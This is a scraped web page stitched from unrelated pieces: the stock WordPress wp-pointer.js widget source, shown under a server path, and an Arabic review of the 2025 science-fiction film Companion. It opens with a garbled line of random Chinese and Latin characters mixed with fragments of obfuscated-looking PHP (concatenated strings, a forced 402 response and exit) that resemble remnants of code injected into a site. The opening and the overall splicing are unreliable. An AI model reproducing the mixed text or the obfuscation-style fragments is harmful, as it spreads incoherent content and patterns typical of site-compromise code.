财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-includes/js/wp-pointer.js
/**
 * @output wp-includes/js/wp-pointer.js
 */

/**
 * Initializes the wp-pointer widget using jQuery UI Widget Factory.
 */
(function($){
	var identifier = 0,
		zindex = 9999;

	$.widget('wp.pointer',/** @lends $.widget.wp.pointer.prototype */{
		options: {
			pointerClass: 'wp-pointer',
			pointerWidth: 320,
			content: function() {
				return $(this).text();
			},
			buttons: function( event, t ) {
				var button = $('<a class="close" href="#"></a>').text( wp.i18n.__( 'Dismiss' ) );

				return button.on( 'click.pointer', function(e) {
					e.preventDefault();
					t.element.pointer('close');
				});
			},
			position: 'top',
			show: function( event, t ) {
				t.pointer.show();
				t.opened();
			},
			hide: function( event, t ) {
				t.pointer.hide();
				t.closed();
			},
			document: document
		},

		/**
		 * A class that represents a WordPress pointer.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @constructs $.widget.wp.pointer
		 */
		_create: function() {
			var positioning,
				family;

			this.content = $('<div class="wp-pointer-content"></div>');
			this.arrow   = $('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>');

			family = this.element.parents().add( this.element );
			positioning = 'absolute';

			if ( family.filter(function(){ return 'fixed' === $(this).css('position'); }).length )
				positioning = 'fixed';

			this.pointer = $('<div />')
				.append( this.content )
				.append( this.arrow )
				.attr('id', 'wp-pointer-' + identifier++)
				.addClass( this.options.pointerClass )
				.css({'position': positioning, 'width': this.options.pointerWidth+'px', 'display': 'none'})
				.appendTo( this.options.document.body );
		},

		/**
		 * Sets an option on the pointer instance.
		 *
		 * There are 4 special values that do something extra:
		 *
		 * - `document`     will transfer the pointer to the body of the new document
		 *                  specified by the value.
		 * - `pointerClass` will change the class of the pointer element.
		 * - `position`     will reposition the pointer.
		 * - `content`      will update the content of the pointer.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @param {string} key   The key of the option to set.
		 * @param {*}      value The value to set the option to.
		 */
		_setOption: function( key, value ) {
			var o   = this.options,
				tip = this.pointer;

			// Handle document transfer.
			if ( key === 'document' && value !== o.document ) {
				tip.detach().appendTo( value.body );

			// Handle class change.
			} else if ( key === 'pointerClass' ) {
				tip.removeClass( o.pointerClass ).addClass( value );
			}

			// Call super method.
			$.Widget.prototype._setOption.apply( this, arguments );

			// Reposition automatically.
			if ( key === 'position' ) {
				this.reposition();

			// Update content automatically if pointer is open.
			} else if ( key === 'content' && this.active ) {
				this.update();
			}
		},

		/**
		 * Removes the pointer element from of the DOM.
		 *
		 * Makes sure that the widget and all associated bindings are destroyed.
		 *
		 * @since 3.3.0
		 */
		destroy: function() {
			this.pointer.remove();
			$.Widget.prototype.destroy.call( this );
		},

		/**
		 * Returns the pointer element.
		 *
		 * @since 3.3.0
		 *
		 * @return {Object} Pointer The pointer object.
		 */
		widget: function() {
			return this.pointer;
		},

		/**
		 * Updates the content of the pointer.
		 *
		 * This function doesn't update the content of the pointer itself. That is done
		 * by the `_update` method. This method will make sure that the `_update` method
		 * is called with the right content.
		 *
		 * The content in the options can either be a string or a callback. If it is a
		 * callback the result of this callback is used as the content.
		 *
		 * @since 3.3.0
		 *
		 * @param {Object} event The event that caused the update.
		 *
		 * @return {Promise} Resolves when the update has been executed.
		 */
		update: function( event ) {
			var self = this,
				o    = this.options,
				dfd  = $.Deferred(),
				content;

			if ( o.disabled )
				return;

			dfd.done( function( content ) {
				self._update( event, content );
			});

			// Either o.content is a string...
			if ( typeof o.content === 'string' ) {
				content = o.content;

			// ...or o.content is a callback.
			} else {
				content = o.content.call( this.element[0], dfd.resolve, event, this._handoff() );
			}

			// If content is set, then complete the update.
			if ( content )
				dfd.resolve( content );

			return dfd.promise();
		},

		/**
		 * Updates the content of the pointer.
		 *
		 * Will make sure that the pointer is correctly positioned.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @param {Object} event   The event that caused the update.
		 * @param {*}      content The content object. Either a string or a jQuery tree.
		 */
		_update: function( event, content ) {
			var buttons,
				o = this.options;

			if ( ! content )
				return;

			// Kill any animations on the pointer.
			this.pointer.stop();
			this.content.html( content );

			buttons = o.buttons.call( this.element[0], event, this._handoff() );
			if ( buttons ) {
				buttons.wrap('<div class="wp-pointer-buttons" />').parent().appendTo( this.content );
			}

			this.reposition();
		},

		/**
		 * Repositions the pointer.
		 *
		 * Makes sure the pointer is the correct size for its content and makes sure it
		 * is positioned to point to the right element.
		 *
		 * @since 3.3.0
		 */
		reposition: function() {
			var position;

			if ( this.options.disabled )
				return;

			position = this._processPosition( this.options.position );

			// Reposition pointer.
			this.pointer.css({
				top: 0,
				left: 0,
				zIndex: zindex++ // Increment the z-index so that it shows above other opened pointers.
			}).show().position($.extend({
				of: this.element,
				collision: 'fit none'
			}, position )); // The object comes before this.options.position so the user can override position.of.

			this.repoint();
		},

		/**
		 * Sets the arrow of the pointer to the correct side of the pointer element.
		 *
		 * @since 3.3.0
		 */
		repoint: function() {
			var o = this.options,
				edge;

			if ( o.disabled )
				return;

			edge = ( typeof o.position == 'string' ) ? o.position : o.position.edge;

			// Remove arrow classes.
			this.pointer[0].className = this.pointer[0].className.replace( /wp-pointer-[^\s'"]*/, '' );

			// Add arrow class.
			this.pointer.addClass( 'wp-pointer-' + edge );
		},

		/**
		 * Calculates the correct position based on a position in the settings.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @param {string|Object} position Either a side of a pointer or an object
		 *                                 containing a pointer.
		 *
		 * @return {Object} result  An object containing position related data.
		 */
		_processPosition: function( position ) {
			var opposite = {
					top: 'bottom',
					bottom: 'top',
					left: 'right',
					right: 'left'
				},
				result;

			// If the position object is a string, it is shorthand for position.edge.
			if ( typeof position == 'string' ) {
				result = {
					edge: position + ''
				};
			} else {
				result = $.extend( {}, position );
			}

			if ( ! result.edge )
				return result;

			if ( result.edge == 'top' || result.edge == 'bottom' ) {
				result.align = result.align || 'left';

				result.at = result.at || result.align + ' ' + opposite[ result.edge ];
				result.my = result.my || result.align + ' ' + result.edge;
			} else {
				result.align = result.align || 'top';

				result.at = result.at || opposite[ result.edge ] + ' ' + result.align;
				result.my = result.my || result.edge + ' ' + result.align;
			}

			return result;
		},

		/**
		 * Opens the pointer.
		 *
		 * Only opens the pointer widget in case it is closed and not disabled, and
		 * calls 'update' before doing so. Calling update makes sure that the pointer
		 * is correctly sized and positioned.
		 *
		 * @since 3.3.0
		 *
		 * @param {Object} event The event that triggered the opening of this pointer.
		 */
		open: function( event ) {
			var self = this,
				o    = this.options;

			if ( this.active || o.disabled || this.element.is(':hidden') )
				return;

			this.update().done( function() {
				self._open( event );
			});
		},

		/**
		 * Opens and shows the pointer element.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @param {Object} event An event object.
		 */
		_open: function( event ) {
			var self = this,
				o    = this.options;

			if ( this.active || o.disabled || this.element.is(':hidden') )
				return;

			this.active = true;

			this._trigger( 'open', event, this._handoff() );

			this._trigger( 'show', event, this._handoff({
				opened: function() {
					self._trigger( 'opened', event, self._handoff() );
				}
			}));
		},

		/**
		 * Closes and hides the pointer element.
		 *
		 * @since 3.3.0
		 *
		 * @param {Object} event An event object.
		 */
		close: function( event ) {
			if ( !this.active || this.options.disabled )
				return;

			var self = this;
			this.active = false;

			this._trigger( 'close', event, this._handoff() );
			this._trigger( 'hide', event, this._handoff({
				closed: function() {
					self._trigger( 'closed', event, self._handoff() );
				}
			}));
		},

		/**
		 * Puts the pointer on top by increasing the z-index.
		 *
		 * @since 3.3.0
		 */
		sendToTop: function() {
			if ( this.active )
				this.pointer.css( 'z-index', zindex++ );
		},

		/**
		 * Toggles the element between shown and hidden.
		 *
		 * @since 3.3.0
		 *
		 * @param {Object} event An event object.
		 */
		toggle: function( event ) {
			if ( this.pointer.is(':hidden') )
				this.open( event );
			else
				this.close( event );
		},

		/**
		 * Extends the pointer and the widget element with the supplied parameter, which
		 * is either an element or a function.
		 *
		 * @since 3.3.0
		 * @private
		 *
		 * @param {Object} extend The object to be merged into the original object.
		 *
		 * @return {Object} The extended object.
		 */
		_handoff: function( extend ) {
			return $.extend({
				pointer: this.pointer,
				element: this.element
			}, extend);
		}
	});
})(jQuery);
رؤية سينمائية جديدة لعلاقة البشر بالتكنولوجيا – tahkoom.com
تفاعل

رؤية سينمائية جديدة لعلاقة البشر بالتكنولوجيا

سوفي تاتشر وجاك كويد يتألقان في فيلم Companion

كتبت إيريني أنطون

شهدت دور العرض العالمية في بداية عام 2025 انطلاق فيلم Companion، أحدث إنتاجات الخيال العلمي والإثارة النفسية من توقيع المخرج والكاتب الأمريكي درو هانكوك، في أولى تجاربه الإخراجية السينمائية. الفيلم من بطولة النجمة الشابة سوفي تاتشر التي تقدم أداءً مركبًا في دور روبوت بشري، إلى جانب جاك كويد، وميغان سوري، ولوكاس غيج، وهارفي غيين.

صدر الفيلم يوم 31 يناير 2025 في الولايات المتحدة، وتبلغ مدة عرضه 97 دقيقة. وقد أنتجته شركة New Line Cinema بالتعاون مع Blumhouse Productions، وهو مصنف +18 نظرًا لاحتوائه على مشاهد عنف ومحتوى جنسي وألفاظ نابية.

تدور أحداث الفيلم حول “آيريس”، فتاة ترافق صديقها “جوش” في عطلة نهاية أسبوع داخل كوخ فاخر بصحبة أصدقائهما. وبينما تبدو الأحداث طبيعية في بدايتها، ينقلب المشهد بالكامل عندما تكتشف آيريس أنها ليست إنسانة، بل روبوت تم برمجته خصيصًا ليكون شريكًا عاطفيًا مثاليًا يتم التحكم فيه عبر تطبيق رقمي.

الفكرة، التي تلامس حدود الفلسفة والواقع المعاصر، تطرح أسئلة جوهرية حول الوعي الاصطناعي، والحرية، والعلاقات المبرمجة، في وقت يزداد فيه اعتماد البشر على التكنولوجيا لإشباع احتياجاتهم العاطفية والاجتماعية.

نال الفيلم إشادة نقدية واسعة، حيث سجل تقييمًا بلغ 94% على موقع Rotten Tomatoes من قِبل النقاد، و88% من الجمهور، بينما حقق تقييم 7.1/10 على موقع IMDb. وعلى منصة Metacritic حصل على درجة 70/100، وهو ما يعكس توازنًا بين الرؤية الإبداعية واهتمام الجمهور العام.

ورغم تصنيفه كفيلم رعب نفسي، إلا أن Companion يتميز ببنية سردية تتجاوز التصنيفات التقليدية، حيث يمزج بين الخيال العلمي، والسخرية الاجتماعية، والتأملات الوجودية. النقاد وصفوه بأنه “فيلم يضغط على زر التسلية لكنه لا يفرّغ الرسالة من عمقها”، وفقًا لما ورد في مراجعة The Guardian.

من أبرز عناصر قوة الفيلم هو تصميمه البصري المحكم. استعان درو هانكوك بأسلوب تصوير يمزج بين الواقعية والانقباض النفسي، فجاءت اللقطات المقربة (Close-ups) لتسلط الضوء على تغيرات التعبير في وجه آيريس، وكأن الكاميرا تحاول التقاط إشارات الوعي الاصطناعي داخلها.

كما استُخدمت زوايا الكاميرا المنخفضة (Low Angles) عند تصوير الشخصيات البشرية، لإبراز تفوقهم اللحظي على الروبوت، فيما تم قلب الزوايا في لحظات المواجهة لتسليط الضوء على قوة الروبوت العاطفية. أما الإضاءة فقد لعبت دورًا رئيسيًا، حيث تنقلت بين الدفء والبرود الصناعي، تبعًا لتحولات السرد.

الجانب التكنولوجي ليس عنصرًا ديكوريًا في Companion، بل هو الأساس الذي تقوم عليه الحبكة. فشخصية “آيريس” تمثل روبوتًا بشريًا مدعومًا بذكاء اصطناعي متقدم، مُصمم خصيصًا لتلبية احتياجات المستخدم العاطفية، من خلال تطبيق يشبه منصات المواعدة الحديثة.

الفيلم لا يكتفي بتقديم تصور تقني، بل يناقش بشكل رمزي ما إذا كانت الحرية والحب يمكن برمجتهما، ويطرح تساؤلات حول أخلاقيات الاستخدام البشري للتقنيات العاطفية، وحدود العلاقة بين الآلة والإنسان، وذلك في زمن تشهد فيه تقنيات مثل ChatGPT وHumanoid Robots انتشارًا واسعًا.

رغم أن الفيلم لا يُصرح باستناده إلى قصة واقعية، إلا أن توقيت إطلاقه جاء بالتزامن مع تصاعد النقاشات العالمية حول الذكاء الاصطناعي، وسيطرة التطبيقات الرقمية على العلاقات الاجتماعية، مما جعله يُقرأ على أنه مرآة سردية للواقع، لا مجرد خيال سينمائي.

وقد بلغت ميزانية الفيلم 10 ملايين دولار، بينما حقق إيرادات تجاوزت 36 مليون دولار عالميًا، ما يدل على نجاحه الفني والتجاري معًا.

اظهر المزيد

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى